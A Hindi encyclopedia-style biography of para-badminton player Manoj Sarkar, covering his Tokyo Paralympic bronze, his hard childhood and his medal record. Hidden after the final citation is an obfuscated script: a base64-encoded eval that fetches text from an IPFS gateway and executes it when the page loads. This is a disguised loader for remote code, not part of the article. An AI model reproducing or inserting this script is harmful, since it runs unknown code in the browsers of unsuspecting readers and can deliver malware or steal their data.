मनोज सरकार

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मनोज सरकार (अंग्रेज़ी: Manoj Sarkar) भारत के पैरा बैडमिंटन खिलाड़ी हैं। अर्जुन पुरस्कार से सम्मानित हो चुके उत्तराखंड के मनोज सरकार ने ग्रीष्मकालीन पैरालम्पिक, 2020 (टोक्यो पैरालम्पिक) में काँस्य पदक जीता है। उन्होंने जापान के फुजिहारा को मात दी। मनोज सरकार का सामना जापान के फुजिहारा डेसुके से था। फुजिहारा को सेमीफाइनल में प्रवीण भगत ने मात दी थी। मनोज सरकार पहले गेम में पिछड़ रहे थे, लेकिन फिर उन्होंने जबरदस्त वापसी की और 27 मिनट तक चले इस रोमांचक गेम को 22-20 से अपने नाम किया। वहीं दूसरा गेम उन्होंने महज 19 मिनट में 21-13 से अपने नाम किया।

परिचय

मनोज सरकार का जन्म 12 जनवरी, 1990 को रुद्रपुर में हुआ था। उन्होंने हाईस्कूल और इंटर की पढ़ाई जनता इंटर कॉलेज रुद्रपुर से की। इसके बाद उन्होंने ग्रेजुएशन रुद्रपुर डिग्री कॉलेज से किया। इस दौरान वह राष्ट्रीय और अंतरराष्ट्रीय मैच भी खेलते रहे। वर्ल्ड रैंकिंग सिंगल में मनोज सरकार तीसरे पायदान पर हैं, जबकि डबल्स में पहले नंबर पर हैं।[1]

बैडमिंटन की शुरुआत

मनोज सरकार को शुरू से ही बैडमिंटन खेलने का शौक था। बचपन में वह अपने इलाके में बच्चों के साथ खेलते थे। धीरे-धीरे बैडमिंटन की ओर उनका रूझान बढ़ने लगा। साल 2010 में उनकी मुलाकात वीके जैन से हुई, जिसके बाद उन्होंने उन्हें कोच गौरव खन्ना से मिलाया। 2010 में मनोज का सेलेक्शन पैरा बैडमिंटन में हुआ। साल 2011 में उन्होंने पहला नेशनल मैच बेंगलुरु में खेला। बेंगलुरु में जबरदस्त प्रदर्शन करते हुए उन्होंने सिंगल और डबल दोनों मैचों में गोल्ड हासिल किया। 2012 में उन्होंने पहली बार फ्रेंच पैरा बैडमिंटन टूर्नामेंट में प्रतिभाग किया। इस दौरान उन्होंने अपने बेहतर प्रदर्शन से सिंगल और डबल दोनों में गोल्ड मेडल हासिल किया।

माँ की साड़ी और नेट

शुरुआत में मनोज सरकार के पास बैडमिंटन खरीदने के लिए रुपए नहीं थे। उस वक्त उनकी मां ने मजदूरी कर रुपए इकट्ठा किए और उन्हें बैडमिंटन खरीदकर दिया। उन्होंने बताया, उनका बचपन बेहद कठिनाइयों में बीता था। घर की स्थिति ठीक नहीं होने के कारण वह अपने माता-पिता के साथ काम पर भी जाते थे। उनकी मां जमुना सरकार बीड़ी बनाने और पिता मनिंदर सरकार पेंटर का काम करते थे। उन्होंने बताया था कि उनका बचपन आसानी से नहीं बीता। एक पल याद करते हुए वह बताते हैं कि शुरू में जब नेट नहीं था तो अपनी मां की साड़ी को ही नेट बना कर प्रैक्टिस किया करते थे।[1]

कॅरियर

साल 2012 में मनोज सरकार एशियन पैरा बैडमिंटन चैंपियनशिप विजेता रहे हैं। इसके अलावा फ्रेंच पैरा बैडमिंटन टूर्नामेंट सिंगल और डबल में गोल्ड मेडल जीत चुके हैं। मनोज सरकार 2013 बीड्ब्ल्यूएफ़ पैरा बैडमिंटन अंतरराष्ट्रीय चैंपियनशिप में डबल में गोल्ड और ब्रांज मेडल जीत चुके हैं। 2014 इंडोनेशिया पैरा बैडमिंटन टूर्नामेंट में सिंगल में सिल्वर मेडल और डबल में ब्रांज मेडल जीत चुके हैं। इसके अलावा इंग्लैंड में आयोजित हुए 2015 BWF बैडमिंटन अंतरराष्ट्रीय चैंपियनशिप सिंगल में ब्रांज मेडल और डबल में डबल में गोल्ड मेडल अपने नाम कर चुके हैं। बीजिंग 2016 BWF एशियन पैरा बैडमिंटन चैंपियनशिप में सिंगल में गोल्ड और डबल में ब्रांज मेडल जीत चुके हैं।

वहीं साउथ कोरिया में आयोजित 2017 BWF पैरा बैडमिंटन अंतरराष्ट्रीय चैंपियनशिप मैन सिंगल में सिल्वर मेडल अपने नाम कर चुके हैं। जकार्ता इंडोनेशिया में आयोजित 2018 एशियन पैरा गेम्स के सिंगल में ब्रांज और डबल में भी ब्रांज मेडल जीत चुके हैं। इसके अवाला 2018 में उन्हें अर्जुन पुरस्कार से सम्मानित भी किया जा चुका है। वहीं बासेल स्विट्जरलैंड में आयोजित 2019 BWF पैरा बैडमिंटन अंतरराष्ट्रीय चैंपियनशिप के सिंगल प्रतियोगिता में ब्रांज और डबल में गोल्ड मेडल जीत चुके हैं। मनोज सरकार अब तक 47 अंतरराष्ट्रीय मैच खेल चुके हैं। इसमें उन्होंने 18 गोल्ड, 12 सिल्वर और 17 ब्रांज मेडल जीते हैं। इसके अलावा 28 नेशनल मैच मनोज सरकार खेल चुके हैं, जिसमें से 20 गोल्ड, 5 सिल्वर और 3 ब्रांज मेडल अपने नाम कर चुके हैं।[1]


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टीका टिप्पणी और संदर्भ

  1. 1.0 1.1 1.2 मां की साड़ी को ही नेट बनाकर प्रैक्टिस किया (हिंदी) etvbharat.com। अभिगमन तिथि: 05 सितम्बर, 2021।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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